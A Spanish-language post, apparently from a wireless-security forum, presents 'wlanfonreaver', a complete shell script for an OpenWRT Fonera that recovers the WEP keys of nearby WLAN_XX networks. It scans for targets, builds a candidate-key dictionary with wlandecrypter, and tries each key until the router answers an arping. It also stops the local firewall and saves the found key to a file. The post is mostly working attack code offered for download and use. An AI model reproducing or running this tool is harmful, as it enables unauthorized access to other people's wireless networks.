wlanfonreaver
¿Para que sirve?
Pues bien este script junto con el generador de claves wlandecrypter nos ayuda a saber la contraseña de una red WLAN_XX sin necesidad de que exista trafico en la red.
¿como lo hace?
Lo que hace el script en primer lugar es hacer un rastreo de las redes al alcance y filtrar las WLAN_XX para que seleccionemos un objetivo, una vez seleccionado el objetivo se conecta a dicha red con una contraseña cualquiera ( en este caso 11111111).
Luego genera un archivo con las posibles contraseñas utilizando para ello wlandecrypter, luego coge el archivo de contraseñas y la prueba una a una en al conexion con la red esperando a que el router responda a un ARP enviado con arping. Una vez tiene respuesta ya sabe tiene la contrasela correcta asi ke la muestra por terminal y la guarda en un archivo con el nombre de la red seguido de '.key'
¿Que hace falta?
Pues basicamente una fonera con OpenWRT Backfire (10.03) <enlace>
El generador de diccionario wlandecrypter, en este caso la version 1.3.2 copilada para la fonera lo puedes decargar de aqui copialo al directorio /bin de la fonera
El script (se puede sescargar de aqui)
wlanfonreaver.sh
#! /bin/sh
#Programa creado LSDios (lsdios@gmail.com)
#para http://www.seguridadwireless.com
ifconfig ath0 down
ifconfig ath1 down
wlanconfig ath0 destroy
wlanconfig ath1 destroy
wlanconfig ath1 create wlandev wifi0 wlanmode managed nosbeacon
ifconfig ath1 up
sleep 3
interfaz=ath1
tmpdir='/tmp/wlanfondecryp'
mkdir $tmpdir >> /dev/null
rm $tmpdir/*
scanred () #Rutina para escaneo
{
/usr/sbin/iwlist $interfaz scan >> $tmpdir/scan.txt # Escaneamos y lo guardamos en un temporal
cat $tmpdir/scan.txt | grep 'ESSID' | awk -F '"' {'print $2'} >> $tmpdir/essid.txt #separamos los datos (ESSID, BSSID, canal, etc) en diferentes archivos
cat $tmpdir/scan.txt | grep Quality | awk -F '=' {'print $2'} | awk -F '/' {'print $1'} >> $tmpdir/quality.txt
cat $tmpdir/scan.txt | grep Channel | awk -F ' ' {'print $4'} | awk -F ')' {'print $1'} >> $tmpdir/canal.txt
cat $tmpdir/scan.txt | grep 'Encryption' | awk -F ':' {'print $2'} >> $tmpdir/clave.txt
cat $tmpdir/scan.txt | grep 'Address' | awk -F 's:' {'print $2'} >> $tmpdir/mac.txt
inicio=1 #Creamos la lista de redes
fin=$(cat $tmpdir/scan.txt | grep 'Cell' | awk -F '-' {'print $1'} | awk -F 'Cell ' {'print $2'} | awk 'END{print $NF}')
while [ $inicio -le $fin ]; do
essid=$(cat $tmpdir/essid.txt | grep '' | awk NR==$inicio)
quality=$(cat $tmpdir/quality.txt | grep '' | awk NR==$inicio)
canal=$(cat $tmpdir/canal.txt | grep '' | awk NR==$inicio)
clave=$(cat $tmpdir/clave.txt | grep '' | awk NR==$inicio)
mac=$(cat $tmpdir/mac.txt | grep '' | awk NR==$inicio)
echo -e $essid "" $mac " " $canal " " $quality >> $tmpdir/scan.list.txt
inicio=`expr $inicio + 1`
done
#Borrando restos
rm -rf $tmpdir/scan.txt
rm -rf $tmpdir/essid.txt
rm -rf $tmpdir/quality.txt
rm -rf $tmpdir/canal.txt
rm -rf $tmpdir/clave.txt
rm -rf $tmpdir/mac.txt
}
selecred () #rutina para seleccion de red
{
#Muestra la lista de redes
clear
echo ""
echo "##############SELECCIONA UNA RED##############"
cat $tmpdir/scan.list.txt | grep WLAN > $tmpdir/scan.list
numopc=`wc -l $tmpdir/scan.list | awk {'print $1'}`
for i in `seq 1 $numopc`
do
echo $i `head -$i $tmpdir/scan.list | tail -1`
done
#Seleccionar
echo ""
echo "Seleccion (de 1 a "$numopc"):"
read n
if [ $n -le $numopc ]
then
head -$n $tmpdir/scan.list | tail -1 > $tmpdir/selec.wlan
essid=$(cat $tmpdir/selec.wlan | awk {'print $1'})
mac=$(cat $tmpdir/selec.wlan | awk {'print $2'})
channel=$(cat $tmpdir/selec.wlan | awk {'print $3'})
clear
echo ""
echo "A seleccionado:"
echo "ESSIS: "$essid
echo "MAC: "$mac
echo "Canal: "$channel
echo ""
else
selecred
fi
rm -rf $tmpdir/scan.list.txt
}
creardicc () #Genera diccionario con wlandecrypter
{
echo "¿Desea generar diccionario con Wlandecripter? (s/n)"
read o
case $o in
s) echo "wlandecrypter $mac $essid $tmpdir/$essid ";wlandecrypter $mac $essid $tmpdir/$essid.keys;;
n) echo "NO";;
*) creardicc;;
esac
}
conectar ()
{
echo "*Apagando firewall..........." # Iniciamos la conexion por WEP
/etc/init.d/firewall stop
echo "ok!"
echo "*Asociandonos al Punto de acceso inalambrico........."
ifconfig $interfaz up
iwconfig $interfaz essid $essid key s:1111111111111
echo "ok!"
sleep 5
iwconfig $interfaz
}
probarclaves ()
{
TSeg=`date +"%S"`
TMin=`date +"%M"`
THor=`date +"%H"`
tping="Unicast"
count=1
for j in `cat $tmpdir/$essid.keys` #Bucle para probar las claves
do
iwconfig $interfaz key s:$j
var=$(arping -c 1 -I $interfaz 192.168.1.1 | grep "Unicast" | awk '{print $1 }')
if [ "$var" = "$tping" ]; then
echo "ok!"
echo "La clave es "$j
echo ""
TSeg2=`date +"%S"`
TMin2=`date +"%M"`
THor2=`date +"%H"`
if [ $TSeg2 -lt $TSeg ] #correcion de tiempo cuandp cambio de minuto o de hora
then
let TSeg2=$TSeg2+60
let TMin2=$TMin2-1
fi
if [ $TMin2 -lt $TMin ]
then
let TMin2=$TMin2+60
let TMin2=$THor2-1
fi
echo "El proceso a tardado "`expr $THor2 - $THor`":"`expr $TMin2 - $TMin`":"`expr $TSeg2 - $TSeg`
echo $essid $mac > $essid.key
echo $j >> $essid.key
echo "El proceso a tardado "`expr $THor2 - $THor`":"`expr $TMin2 - $TMin`":"`expr $TSeg2 - $TSeg` >> $essid.key
break
else
echo $count "Claves probadas"
let count=count+1
fi
done
}
scanred
selecred
conectar
creardicc
probarclaves